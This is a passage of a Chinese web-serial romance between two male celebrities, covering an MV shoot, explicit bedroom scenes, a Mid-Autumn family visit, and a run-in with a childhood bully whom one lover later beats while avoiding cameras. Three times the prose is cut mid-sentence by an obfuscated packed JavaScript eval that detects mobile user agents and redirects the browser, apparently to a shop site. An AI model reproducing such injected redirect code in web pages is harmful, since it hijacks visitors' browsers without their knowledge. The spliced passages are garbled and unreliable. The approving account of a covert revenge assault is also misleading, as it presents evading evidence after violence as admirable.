吴芷静不知道什么时候从身后走了过来,“应该可以的。谢清漓的口碑很好,和咱们又没有过私下往来,她愿意出面替我们澄清,可信度很高。而且我已经知会了几家大的自媒体平台,到时候会一齐带风向。只要没有新的幺蛾子,问题就不大。” “静姐威武!感恩天降神兵,我们易老师就是逢凶化吉的命格。”博博得意地说道。 另一边,谢清漓也画好了妆。柔顺的黑发披散在墨绿色吊带丝绸睡裙外,红唇娇艳欲滴。这个MV讲的是风情万种的女主捡到了失忆的男主,二人情爱渐浓后发现男主竟是害女主家破产的阔少。 非常狗血的剧情,但这不重要,重头戏都在表现二人互相试探、彼此吸引的过程,80%都是床|戏。 下面这一幕,男主坐在床边迷茫地抽着烟,好像在思考自己到底是谁,这时女主走上来跨坐在男主腿上,从男主手中拿过香烟,吸了一口,烟雾喷洒在男主的脸上。 由于倾吐烟雾的过程要拍清楚,需要机位、灯光的高度配合,于是导演要求易卿尘和谢清漓摆好造型,各部门同时尝试找到最佳机位。 谢清漓跨坐在易卿尘身上,易卿尘揽着谢清漓的腰,距离近到可以听到对方由于紧张而加快的心跳。两人刚认识几分钟,又不是专业演员,都紧张到僵硬。 一直找不到最优机位,他俩只好一直抱着。易卿尘用腰腹的力量撑着谢清漓,很是辛苦。 “导演,”杨原野站在摄影机旁建议道,“我觉得这个姿势显得不够势均力敌,太甜腻,少了那种故事里一触即发的张力。” “嗯,那你有什么主意?”导演也觉得这个姿势别扭额,正好杨原野说出了他的心声。 “男主可以往前顶一下胯,再用右手大拇指轻轻按着女主的下嘴唇。” 导演眼睛一亮,“听着有点儿对味,你去示范一下,我看看。” 杨原野计谋得逞,高高兴兴地走进画面里,把易卿尘给替了下来。他早就看不下去了,俩人抱了那么久,谢清漓那玲珑有致的身材,别再给他男朋友掰直了。要只是为了打个光,换谁都行咯,杨原野决定自己上。 导演发现,这男主换人之后,女主的情绪明显被调动起来了,原来还略显僵硬害羞的形体,一下子就柔软了,情绪也开始流动。 一旁的小助理忍不住说道:“杨老师是霸道的狼,易老师是高冷的猫,真是不一样的效果呢!” 易卿尘闻言看过去,嗯,还真是俊男靓女。 小助理的眼睛狡黠地闪了闪,转身从深厚的桌子上拿来一杯新买来的生椰拿铁,说道:“谢老师下来休息一下吧,喝杯热咖啡,化妆师顺便给补个妆。” 导演白了小助理一眼,“这儿打光测烟呢,你把我女主弄走了,我怎么干活儿?” “导演,打光换谁都行啊。您看,清漓的颅顶都塌了,腮红也蹭乱了,必须要弄一下,”小助理顺势拉了拉易卿尘的衣角,求道,“易老师帮帮忙,替谢老师顶一会儿呗?” 面对小助理真诚恳求的眼神,易卿尘没理由拒绝她。 谢清漓磨磨蹭蹭地从杨原野身上下来,换了易卿尘坐到杨原野身上去。两人眼神拉丝,欲拒还迎地抱在一起,满满的荷尔蒙带着同性之间的悖德感,性张力拉满。这可比刚才的姐狗组合还要更刺激,现场的人都挪不开视线。 导演惊喜地瞥了眼小助理,两人交换了一个眼神。 小助理看着监视器,心满意足。这样才对嘛,这才叫势均力敌、一物降一物,恋爱要是给两个帅哥谈起来,还有女人什么事儿? 她可是隐藏的野尘CP粉,今天吃得太好了,啧啧。 MV拍完已经是清早六点,这边易卿尘换好衣服出来,吴芷静已经和楚言电话里汇报完了进程。就在昨夜,谢清漓的官方微博发出九宫格MV剧照,替易卿尘澄清,所谓吸烟照只不过是上周拍的MV剧照被人为泄露,而这首《前尘并不如烟》早就签定了易卿尘作男主角,并晒出带有日期的电子合同。 易卿尘的官微也转发该微博,称:【合作愉快,期待歌曲MV的正式播出。吸烟有害健康。】 当然,这些都是两家公司在昨夜通宵操作的,艺人是不用亲自发微博的。 面对这一波澄清,大众的反响基本比较正面,一来谢清漓是有名的艺术家,信誉高;二来,这首歌的歌词早在吸烟照曝光之前就公布了,而且歌名也很契合那张照片,盘盘时间线,似乎真的只是一场误会。 杨原野在现场看了一宿易卿尘和谢清漓的床|戏,快要疯了。一收工回家,就把人抱进浴室给办了,像只急于标记领地的小狼狗。 他把他弄脏再洗净,洗净再弄脏,反反复复。 易卿尘腿抖得站不住,呜咽求饶。浴室里一片狼藉,镜子上印着交叠的掌印,满室情潮的大雾。到最后,两人都累得不行,倒头便睡,再睁开眼睛竟然已经是中秋节的早晨了。 易卿尘低头看着自己一身的吻痕,实在惨不忍睹,准备爬起来找一件高领衣服穿。人还没出被窝,就被杨原野捞进了怀里。 “中秋节快乐。”杨原野用沙哑慵懒的晨腔说道。 “中秋快乐。” “今天有通告吗?”易卿尘想要坐起来,“不早了,快起床吧。” 杨原野把人箍得紧,易卿尘动弹不得,他越挣扎,杨原野就越来劲。易卿尘中午有个在线直播,情急之下,一口咬了杨原野的虎口。代价就是被按进床里,又是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13529127|131022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一通暴风骤雨。 易卿尘洗脸刷牙准备直播,杨原野在厨房煮面。 这场直播是和一个带货主播视频连线,卖某商超的中秋大礼包代金券,全程十五分钟。易卿尘下了播,香喷喷的榨菜肉丝面正好出锅。拿出两个白瓷大碗盛出来,冰箱里仅剩的一根香肠自然而然地盛进易卿尘的碗里。 杨原野找来一个软垫,放在他身旁的餐椅上,用手掌按了按,柔软又回弹,很是满意。 “宝宝来吃面。” 易卿尘舒舒服服地坐在软垫上,夹了一筷子面条,喷香的热气带着肉丝的油花,吸溜入口,惊喜地睁大了眼睛赞道:“你可真行。” 杨原野得意地一挑眉,“我当然行了,上得厅堂,下得厨房。你可要好好珍惜我。” “嗯嗯,”易卿尘开心地吃面,含混道,“给你口头表扬一次。” 杨原野歪着脑袋欺近,“光口头表扬哪里够,尺度太小了。” 话音刚落,易卿尘筷子一抖,啪唧,一根肉丝掉到桌上。他扶着腰,正了正软垫上的屁股,可怜地努起嘴巴,“疼……” 如果可以,杨原野真想把易卿尘绑在床上,没日没夜地弄。喜欢一个人到了一定程度,仿佛只有身体上的绝对占有才能承载这种强烈的爱意和欲求。 可见到他小兽一般可怜的模样,又登时生出千般柔情,万种心疼,只想把人牢牢捧在手心里,呵护着。 “不逗你了,瞧把你吓的。”杨原野揉了揉他的头发,商量道,“跟我回家过中秋吧,我把大家都叫来,一起热闹热闹,好不好?” 月亮每个月都会圆,爱的人每天都能见。原来所谓“花好月圆人长久”,就是这般滋味。易卿尘的心底升起一股暖流,带起了唇角,莞尔一笑。 在渝州的几年,一到这样团圆的节日,易卿尘就只能躲在人群里羡慕别人,如今,月亮也为他圆了一回。 “回家过中秋,这算不算……”易卿尘脸颊泛红,微微垂眸,“嗯……” “算。” 易卿尘一怔,抬起眼睛,亮晶晶地凝着杨原野。杨原野仿佛早猜透了他的心思,笑着说道: “当然算。” “算、算什么?” “算见家长了。其实我小妈早就知道我喜欢你,这次正式把你介绍给她,她一定很高兴。小葵也会很喜欢你。不过她们喜不喜欢你都不重要,我带你回家,不是让你去讨别人喜欢的,只是要告诉家里人一声,我们在一起了。哦,对了,还有我爸,他是个古板的人,现在在美国,但我也可以打电话告诉他。” “别,”易卿尘打断他,“先别告诉你爸,以后再说吧……” 杨原野猜,易卿尘可能一时接受不了见这么多长辈,他也不想吓着他,于是轻轻拉起易卿尘的一只手,软软地拢在手心。 “好,都听你的。我们每个人一出生,就定好了父母亲人,看起来都由不得自己来选。可是这话也对也不对。这辈子,我唯一自己选择的家人——是你,易卿尘。” “阿野……”易卿尘觉得鼻腔一阵发酸,眼前变得雾蒙蒙的,像翻山越岭后见到的故乡和屋舍、心跳和体温,“我愿意跟你回家。” 即使有一天要面对你的父亲,要撕开那道藏了四年的伤口,我也不会再逃避。 89.089 中秋 中秋节很快就到了。 杨原野要带易卿尘回家过中秋,虽然是临时通知,大家还是积极响应。出了电梯,一推开门,郝圆满,姬波,姬波的太太,杨小葵,杨小葵的保姆,集体列队在门口欢迎易卿尘来做客。 郝圆满,姬嫂的脸上都是对小辈的喜爱,见了易卿尘,一个个笑得温和又关切。 幸好回家之前,两人先去商场买了好些礼物,杨原野手里拎着各色袋子,烟酒糖茶的,另一手和易卿尘十指紧扣头一回见家长,长辈们越热情,他越紧张。 走进屋里,客厅大长桌上摆着挺大一张面板,上面放着一盆饺子馅,左边一堆擀好的饺子皮,中间光滑的面团旁是一个个刚切好的圆圆的剂子,上面撒着一层面粉,防止剂子们太黏糊,粘在一块儿。 姬嫂是个非常健谈的女人,梳着利落的齐耳短发,笑意盈盈,“月饼大闸蟹都买了,除了那些,咱们北方人就兴包饺子,有什么年节喜庆都得吃饺子。小易第一次来家里,可给你们姬哥高兴坏了,亲自下厨调的饺子馅!” “三鲜馅儿的,”姬波等不及献宝,“我跟你们说,这个馅有个秘方,就是得放虾籽,那叫一个鲜呐。小尘一会儿尝尝看!” “平时在家都不见他这么勤快!”姬嫂眼里的姬哥不是快五十,最多五岁。 “我们小野头回处对象,当干爹的还不能高兴高兴了?”姬波袖口沾着些面粉,乐呵呵地说。 杨原野拉着易卿尘坐进沙发里,“切”了姬波一声,“你这干爹是自封的,我可不认。” “你爱认不认,我就问小尘认不认?别看我平时总管着你俩,可都是为你们俩好。”姬波说。 易卿尘淡笑着点头:“姬哥说得对,我都明白。” “瞧瞧,他俩成干爹干妈了,我这个后妈都被挤得靠边站了!” 郝圆满端着一盘水果摆在茶几上,打着趣,跟吃醋一样。看着并排坐在沙发上的俩人,杨原野往易卿尘嘴里不停地塞葡萄,直把人塞成仓鼠嘴,郝圆满头一回觉得,谈恋爱,性别也没那么重要。 杨小葵被保姆抱在膝头,四岁的小女孩梳着两个小辫子,穿着小洋装纱裙,明显是为了这个场合精心打扮过,虽然胳膊上还缠着纱布,但看那水灵灵的眼里溢出的光彩,已经比在医院的时候强太多了。 小葵扭脸看过来,用稚气的童声说道:“小尘哥哥,听说你是来跟我抢哥哥的?” 此话一出,大人们都笑开了。 “啊?怎么会呢?”易卿尘笑容中带着些害羞和尴尬,递给了杨原野一个求救般的眼神。 姬波看热闹不嫌事大,一边擀饺子皮,一边开玩笑,“杨小葵,你说对了,有了你小尘哥,你哥以后就没空搭理你了。” 杨小葵看了看面前的两个哥哥,左看右看,好像在比较两个毛绒玩具,“那我就不要我哥了。小尘哥哥长得更好看,我喜欢小尘哥哥,他还送我海绵宝宝呢!” 哈哈——小孩子随便说些什么,一屋子大人们就能笑开花。 “你个小叛徒!还敢跟我抢人。”杨原野说着就要去揪小葵的鼻子,小葵嗷嗷叫着往保姆怀里钻。 一家人一派其乐融融。 电视里播着中秋晚会,易卿尘和小葵坐在地毯上拼拼图,杨原野伸手往上拼一块儿,小葵却不让,她只让易卿尘帮忙,龇牙咧嘴怪她亲哥瞎捣乱。 姬波夫妻负责包饺子,保姆在拌凉菜。郝圆满在炉灶上烧开了水,摆桌子的时候发现老陈醋见了底,于是冲客厅里的人喊道:“小野,下楼帮我去买瓶醋。” 杨原野懒洋洋地应道:“黄阿姨,你来看一下小葵,我和小尘下楼买醋。” 黄阿姨手里的菜做到一半,正忙呢,看着杨原野,又看了眼郝圆满。 郝圆满立刻会意,想了想,又无奈地笑道:“小尘和阿野一起去吧,小葵不用人看,让她自己玩一会儿就行。” “不嘛,我要小尘哥哥陪我……”小葵拉住易卿尘的胳膊大叫。易卿尘皱着眉看着杨原野,表情似乎在说:“买个醋哪里需要两个人?你不能自己去?” 杨原野才不管,一把将易卿尘从地上拉起来,冲杨小葵做了个鬼脸,推着易卿尘的肩膀,踹上大门就走了。 杨小葵委委屈屈,气得说了一串绕口令似的话,“不是说我和小尘哥哥抢我哥吗,怎么是我和我哥抢小尘哥哥?” 姬波在背后一副过来人的语气,“初恋嘛,都上头!想当年我上学那会儿也这个德行。” 对面飞来一根筷子打在姬波脑门,姬嫂不怒自威,“你初恋不是我吗?” “……对,……那个……我说的是周慧敏,上学那会儿我们男生都特迷她……”姬波缩了缩脖子,声音越说越小。 夜雨成秋,北风漫卷。 昨夜过后,室外气温跌到十度。杨原野急吼吼地把易卿尘的所有权从妹妹手里夺了回来,可出了单元楼被凉风一吹,才发现两人都忘了穿外套。 杨原野二话不说,脱下衬衣,不顾易卿尘反对,非给人套在外面。自己就剩件短袖T恤,一边嘻嘻哈哈标榜自己火力旺,一边暗暗打了个抖。 一路小跑,两人钻进了家附近的小超市。不像连锁便利店那样整洁明亮,这家小铺一打眼就知道有年头了,灯光黄得像灶上擦不净的油。 两人走进去,在最里面的架子上看见了各种油盐酱醋调味料。 “这个镇江香醋就行吧?”杨原野指着黄标红字的一瓶醋问道。 “嗯,可以……吧。”易卿尘稍微仔细看了一眼,恍然大悟似的,“等一下,这是镇‘红’香醋,不是镇江香醋啊!你说,喝假醋会死吗?” “我不怕死,就怕醋不够酸。”杨原野打着趣,视线又扫了一遍架子上的其它东西,抬手指着红色包装的袋装方便面说,“这镇红香醋就得配康帅博方便面。” 易卿尘一看,笑出声来,“这店真是有毒。” 一分价钱一分货,两人从各种没听过的山寨醋里,选了瓶最贵的,拿着去前头结账。 商店老板正低头边嗑瓜子边看游戏解说视频,脑袋上三个“发旋”对着他们,像山寨版的梵高《星空》。 老话说:“一旋精,二旋楞,三旋打架不要命。” 杨原野见老板迟迟不理人,皱着眉用指骨敲了敲桌子,那人这才掀起眼皮飞速朝那瓶醋瞄了一秒,散漫道:“14块5。” “微信支付,可以扫码么?”杨原野说着掏出手机。 “今儿机器坏了,有现金吗?”老板头也不抬,眼睛只管盯着游戏视频。 杨原野的不爽从鼻腔冒出来,大冷天懒得计较,给钱了事,可一掏兜,里面只有一张十块纸币和两个钢镚儿。 “你带钱了吗?”杨原野问。 易卿尘没反应,一双眼睛直勾勾地盯着老板头顶的三个旋,表情罕见的严肃。 “小尘,小尘?”杨原野拿胳膊肘怼了他一下,拔高了些音量,“易卿尘!” 这几个字一出,三个旋瞬间指向天花板,男人的一张脸整个显露出来,额头一道大疤,满脸的锐角,属于典型的地痞长相。 “操,易沉冤!真是你!”男人的眼睛冒着精光,冲易卿尘说道。 这男的喊小尘什么?易沉冤?杨原野心头一惊,立刻往前一步,挡在易卿尘身前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13544134|131022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,问道:“你谁啊?瞎叫谁呢!” 那人痞气笑道:“易沉冤,怎么当了明星,连你闯哥都不认识了?” 易卿尘冷淡地望着那个人,面无表情地说道:“忘不了,头上有三个旋的人,我只见过你一个。” 那人对于易卿尘的冷淡并不感到意外,仍然嬉皮笑脸,“我就说,你怎么可能忘了我呢?咱们也算老相识,这瓶醋哥就不收你钱了。对了,你现在住这附近?” “无可奉告。”易卿尘收回桌上的钱。 杨原野几乎没见过这样的易卿尘,寒津津的目光里带着十足的厌恶。 自称闯哥的人抬手摸了摸新剃的寸头,咂了咂嘴:“行,有空儿来找哥几个聚聚,大家伙看了电视还说起你呢。” 易卿尘点点头:“下次吧,探监也不是每天都能探,下次提前约。” 男人愣了几秒后反应过来,发出几声冷笑:“你还是那么有意思!行,大明星,慢走不送。” 易卿尘转身就走,可没走几步,侧头一看,杨原野却还站在那儿瞪视着对方,两人剑拔弩张的模样像是随时要打起来似的。易卿尘赶忙退回去,把杨原野拉走了。 “那人是谁?”才踏出小卖铺,杨原野就忍不住问道。 那人是易卿尘心底的一个阴影,是年少时的暗色记忆。长大后他从未和人提过,因为他一向习惯隐藏自己受过的苦,有人问起他的童年和过去,他总是笑笑说没什么,都很好。 所以邻里街坊总是称赞他,有时候是当着秦寒松的面,有时候是私下议论,都说:“小尘这孩子真懂事。” 什么是懂事?懂事就是拿走本该属于你的东西,再让你笑着承受所有糟糕的感觉。 是的,易卿尘一向很懂事。因为他从没有遇到过一个让他可以卸下伪装,想哭就哭,想笑就笑的人。 易卿尘抬头看去,天边悬着的是一轮明月,一年以来最圆满的清辉洒向人间,而杨原野就在这月光下关切地看着他,想要探究他的隐痛。 “他叫高闯,跟我一个孤儿院的,比我大好几岁,我打不过他们,所以总被欺负。后来我被领养了,以为从此可以摆脱,可他们还是找到我学校去,常常在胡同里堵我,要钱,或者就是无聊了,想打我一顿发泄……再后来我上了中学,高二的某一天开始,他们突然就不来了,我听说他们都进了监狱,我就再没见过他们了。” 易卿尘头一次原原本本地说出了这一切,说完,他发现自己竟然十分平静,那些蒸腾着泥土和血腥味的记忆仿佛已经非常久远。 那些曾经以为无法释怀的伤口,就这样被时间,或是别的什么抚平了。 杨原野什么也没说,只是攥着他的手心,一路牵着他回家。当电梯门轰隆隆地关上,杨原野轻轻地把他带进怀里。 怀抱里的体温让他想起小时候。小时候,易卿尘不喜欢每年的六一,升旗仪式上都是不变的一套词:“每一个孩子都是春天里的花朵,盛开在阳光下”。他讨厌这种修辞上的好心——他不是花,是峭壁石缝的野草,意外地破土。 此刻,易卿尘发觉命运是流动的,却不是风的流动,吹吹停停,而是大地的流动,无论走到哪里,你都在命运里。 命运曾经拿走的,总会以另一种形式再还给你,你要等。 易卿尘忽然觉得很幸运,他等到了,等到了那个让他不必再“懂事”的人。 他也明白了为什么可以平静地讲起小时候被欺负的故事。爱总有让人宽待万物、原宥前尘的效力。 杨原野抱着他,很久很久,久到他们终于反应过来,一直忘了按电梯楼层,再低头一看,那瓶醋也忘了拿。 90.090 感冒 空着手站在家门口,姬波从上到下打量着这俩人:一个披着另一个的衣裳,俩人头发都有些凌乱,还牵着手,眼神说不出的潮热…… “醋呢?”姬波问。 杨原野:“没买。” 姬波一副恨铁不成钢的表情,上手给了杨原野一记虚拳:“这么一会儿你都忍不了,真是个小畜生。” 杨原野也不否认,易卿尘害臊着打着磕巴解释:“没,姬哥误会了,那个,我俩刚才是……” “怎么了?”听见门口的动静,郝圆满赶忙走过来打圆场:“你俩刚走我就想给打电话来着,橱柜里还有一瓶没开封的醋,我头先没看见,快别说了,赶紧进来洗手吃饭吧!” 姬波关大门的功夫,杨原野已经进了屋。姬波只得冲易卿尘抱歉地笑了笑,说:“你就是太由着他了。” “呃……” 饭桌上三大盘冒着热气的水饺,两个凉拌菜,六道小炒,熟食、刺身各一个拼盘,这待客的规格既重视又家常。郝圆满给大家斟酒,说这是杨金波托人从美国给背回来的,加州纳帕谷某个私人酒庄的珍藏佳酿,干白“长相思”。 加了虾籽的三鲜水饺蘸上新开瓶的镇红香醋,席间谈笑风生。饭后,易卿尘在厨房帮忙刷碗,跟郝圆满聊着天。 “你就在一旁陪我就行,别沾手了,听话。”郝圆满笑着说。 易卿尘低头洗碗,水流冲过盘子,露出细白瓷釉本来的颜色。 “我不累,你每天照顾小葵,这么多年,才真叫累吧?” 很久没人对她说过这话了,郝圆满一时露出感激的表情,打开了话匣子:“人活一辈子,真挺遭罪的。小易,这些年,我都不知道我怎么过来的。生了小葵之后,大家都不敢在我面前提跟孩子有关的话题。后来杨家破产了,我的朋友们几乎都不联系我了,倒不是清一水的拜高踩低,只是在我面前,什么都不敢说,和我做朋友实在太累了。” 易卿尘感同身受,鼓励道:“你是个好妈妈,都会好起来的。” “我曾经过过最好的日子,一个头发能做20个小时,没亲自洗过一只碗,就怕刮花指甲。当年决定生孩子,也是为了哄老杨开心,寻思着反正都是阿姨带。后来,一夜之间什么都变了……”郝圆满说,“圆满圆满,我爸妈给我取这个名字,是希望我的日子过得完美。如今我才活明白,满招损、谦受益,圆而不满,方得圆满。咱们人都是这样,都要学着接纳残缺。” 说到后来,还是绕到易卿尘身上来:“我家老杨年纪大了,这辈子大起大落,你和小野的事儿他多半会接受不了,你们慢慢来,别正面和他爸起冲突了,他身体不太好。” 易卿尘明白她的意思,乐意成全她的心愿,于是点点头,说道:“你放心,我也不希望阿野和家里闹翻。” 郝圆满心中一块石头落了地,明显地舒了一口气。 收拾完厨房,易卿尘回头看了一眼客厅,阿姨带着小葵玩娃娃,姬波夫妻在看电视、泡茶,却唯独不见杨原野。 “阿野人呢?”易卿尘走到客厅。 姬波接话答道:“他说下楼去抽根烟,去了有一阵子了。抽烟还拿个黑垃圾袋,也不知道搞的什么鬼……” 易卿尘的心一下子揪起来,赶紧跑去玄关查看,糟糕,杨原野的鸭舌帽和口罩都不见了。抽烟自是不用带口罩的,难道是去找侯闯寻仇了! 郝圆满从厨房走出来,瞧见易卿尘问道:“怎么了?怎么这个表情?” “……阿野头上有几个旋?” “啊,什么?”郝圆满面对着没头没脑的问题茫无头绪,“这有什么说法吗?几个比较吉利?” “我下楼一趟。” 易卿尘说完转身就往外跑,留屋里几个人面面相觑。 易卿尘飞出电梯,一路狂奔跑进夜色。路过花坛往右一拐,慌里慌张的没把握好转弯半径,迎面和来人撞了个满怀。 “对不起对不起,我有急事儿!” 易卿尘头也不抬,对着地上的人影敷衍地道了句歉,就想绕过那人继续往前。谁成想那被撞的人伸出一只胳膊挡在他身前,不让他走。易卿尘腾地上来一股火,这么高一男的,就撞一下至于吗! 他瞠目抬头一看——要找的人就站在眼前,怒气即时转成文火。 遒劲的手臂缠住他的腰,像藤蔓把他卷进怀里。 “跑这么快,要去见谁?我不看着你,小红杏就要出墙了?” 气音带着热乎乎的浪,吹拂几下就把易卿尘又薄又嫩的面颊给烫红了。 “啊嚏——!” 还没等他开口回应,迎面扑来一阵人造风…… 杨原野扭过脸去,捂着嘴巴又是两个大喷嚏,“啊嚏,啊嚏!!” 老话说:一想、二骂、三感冒。 杨原野感冒了,可他不承认。因为他最讨厌吃药,自从初中之后有了基本自主权,他每次生病都是硬抗过去。 “吃药72小时好,不吃药三天好。”杨原野狡辩,“我太姥姥去世前就是吃太多药,火化之后骨头都是绿色的!你也不想让我变绿吧?” “我信你个鬼,我怎么没听说过还有这种事儿?” 易卿尘站在开架货柜面前,面对五花八门的感冒药,眯起眼睛试图分辨其中的差别,药片,药水,冲剂,糖浆,口服液…… “真的!我亲眼看见的。”杨原野为表真诚,眼睛瞪得老大,可易卿尘看都不看他,最终从架子上选了一盒双黄连口服液,因为那牌子他从小就在电视里看过,这么多年都屹立不倒,估计不能把骨头给喝绿了。 杨原野看见“黄连”俩字,嘴巴就已经泛苦了,伸手就去抢,手指头刚碰上那药盒,腕子就被易卿尘抓住了。 “你……你怎么搞的???”易卿尘惊呼。 之前天黑没注意,现在被药店的白炽灯一照,清清楚楚——杨原野手上的几处关节全都红肿得发紫,小指侧面、手掌一侧还有大片的伤口,像是皮肉蹭在地上磨破了翻开了花,红色血痕混着黑色的土渣,看得触目惊心。 他果然还是去找了侯闯。 杨原野仓皇把手抽走了,本能地撒了个拙劣的谎:“我刚刚路上摔了一跤……” 易卿尘盯着那只手不说话,好半天,默默地走到另一排架子前,拿了碘伏、棉签、纱布、创可贴。连带着那盒双黄连一并付了钱,抬腿便走出了药店。 易卿尘拎着一袋子药走在前面,杨原野隔着几步的距离跟在后面。到了一楼电梯间,易卿尘停着等电梯,目不斜视,杨原野挪过来凑近,抬起手堪堪要搂住他,易卿尘一躲,一个箭步上了电梯。 糟糕,男朋友生气了。 杨原野愣在电梯门外,犹豫着该不该进去。男朋友生气了,最佳策略应该是缠上去使劲哄,还是给对方空间先冷静?书上怎么说的来着…… 正想不出答案,Hold住电梯的人给他下了命令:“进来。” 杨原野赶忙跟进了电梯,紧挨着人站。试探着勾上了易卿尘的小指,见对方没挣脱,心里的紧张顿时消了一半。面前的电梯门光可鉴人,杨原野却不敢乱作表情,怕一个不严肃,男朋友又生气了。 电梯门打开时,一阵凉意袭来,杨原野这才发现易卿尘按的是负二层地下车库。 “带车钥匙了吗?”易卿尘问。 杨原野拍了两下衣兜,点了点头。 易卿尘摊开手心,杨原野愣了一秒钟,乖乖交出了车钥匙。 车子在夜色中行驶,一路无言,杨原野不敢造次,毕竟易卿尘的车技有限,还是不要让他分心为好。银灰色宝马平安驶到杨原野住的公寓门口,刹车熄火,红色的尾灯灭了。 易卿尘进了门,拉着杨原野按进沙发里坐好。塑料袋摊开放桌上,易卿尘洗过手之后,取出碘伏,拧开瓶口,用医用棉签吸饱了红褐色的药水,再用纯净水沾湿纱布。 他走去蹲在杨原野面前,捉住他的手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13565276|131022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 先用干净的纱布除掉脏污,再用碘伏棉签小心翼翼地清理,杨原野时不时地发出“嘶——嘶哈——”的声音。两只手都有受伤,右手特别重一些,易卿尘都处理得极为用心。 处理完伤口,易卿尘站起身,依旧一言不发,故意不和杨原野的视线接头。 “我走了。”他正要走,就被人可怜巴巴地扯住了衣角。 “我错了,小尘哥,你别家暴我了……” 易卿尘扭头看他,板着脸问:“我怎么家暴你了?” “冷暴力也是暴力,属于精神虐待的一种。”杨原野扽了扽他的衣角,继续扮惨,“我的身体已经受伤了,你就别再恶意操弄我脆弱的精神了吧……哥哥……哥……” 咯咯咯,像只母鸡。易卿尘实在绷不住笑,一破功,就立马被人抓住机会揽着腰拉进怀里。 “没被监控拍到吧?”易卿尘问。 “绝对没有。我给他引到没监控的后巷,拿黑塑料袋套住他脑袋才动的手,做得绝对干净。” “嗯,别留下证据就好。” 俩人搞得像联邦特工刚执行完杀人任务似的。 “你等着看吧,过些天,物价局、工商局、税务局都会去查他,我让他在京北混不下去!”杨原野咬牙切齿地说。 “既然有这些正常合法的手段,你还去打他干嘛?” “他欺负你,我打他一顿算便宜他了,只不过是掉了两颗牙,右胳膊脱臼,还有——阿嚏——”杨原野打完喷嚏又打了个激灵,还不忘继续邀功,“还有好几天下不了床……” 易卿看着杨原野,这个人总是那么冲动,不顾后果。如果这事被爆出来,杨原野刚有一点起色的事业又会受到重创。他不想看杨原野犯险,即使是为了他也不行。 他盯着他看得出神,直到杨原野叫他才动了动眼珠。 “想什么呢?”杨原野问。 “想……想你该吃药了。”易卿尘起身去拿药,圈着他的胳膊一下子收紧了,画地为牢不让人走。 “不吃行不行啊……”眼看要祭出撒娇大法,易卿尘赶紧给他叫停。 “绝对不行。” 易卿尘使出吃奶的劲儿才从他怀里挣脱出来。当两支双黄连口服液插上吸管递到杨原野面前时,他还是不放弃抵抗。蹦极打架都不怕的人,竟然怕会飞的蟑螂和双黄连,真是要了命。 把吸管硬塞进杨原野嘴里也是无用,他不肯吸,可愁死了易卿尘。威逼不行改利诱:“你乖乖把药吃了,就可以提一个条件,我尽力满足。好不好?” 杨原野看了看面前的淡蓝色玻璃瓶里的棕色液体,再看看易卿尘,眼睛一眯,嘴角一牵,易卿尘顿时有一种不祥的预感。 杨原野清了清喉咙,说:“这药的包装我不喜欢,换个东西装着我就喝。” “换什么?”易卿尘问。 杨原野笑得邪魅,从沙发上站起来,逼近易卿尘,给人吓了一跳。一个往前,一个往后,把人逼到墙角,逞凶扯开了易卿尘衬衣的前三颗扣子,露出一片皎白的胸膛。往下一扽,肩膀也都露了出来。 易卿尘的肩头饱满圆润,略有一些肌肉,连绵着锁骨的延长线……他的锁骨美极了,线条清晰,呈阔V型,锁骨窝深浅适度,像两盏精巧的白玉骨碟。 杨原野的手指勾住那锁骨,在两洼锁骨窝里揉来按去。 “就装这儿吧……我保证全喝光,一滴不剩。” 易卿尘一阵紧张,抗拒道:“……不要。” “要。” “别胡闹。” 两人抵在墙角对视。 “实在不可以就算了,”杨原野故意扮作失落地说,“药不喝也没什么关系,不过就是病几天……” 僵持到最后,还是哥哥让了步。 “……姬哥说得对,我真是把你惯坏了。” 随着一尾认命的短叹,凶兽出笼,连药带人一起吞了,全都一滴不剩。 91.091 起疑 杨原野感冒已经三天了,一点也没见起色,今早起来鼻子堵得更严重了。姬波催他去拔罐,去去寒,不然这一副破锣嗓子,怕是没法比赛。要知道总决赛赛段可场场都是直播,下一场就是六进四淘汰赛了。 车子还没开到中医馆,杨原野就收到了高飞的电话,紧急约他出来见面。怕是那群人计划要对易卿尘不利,杨原野立马掉头,一路驶向尚星大厦。 果不其然,是高飞的手下打探到了易小雪的住处,盘算着把人给“请”来,扣在自己手里。既能要挟易卿尘,又能在关键时刻曝出易卿尘的身世,毁了他的星途。 可这光天化日之下,绑|架一个大活人谈何容易,要是惊动了警方,事情的性质可就变了,于是高飞想到了杨原野。 “杨老师能拿到上次那种照片,可见易卿尘对你很信任,不知道你是不是也见过他妈?” 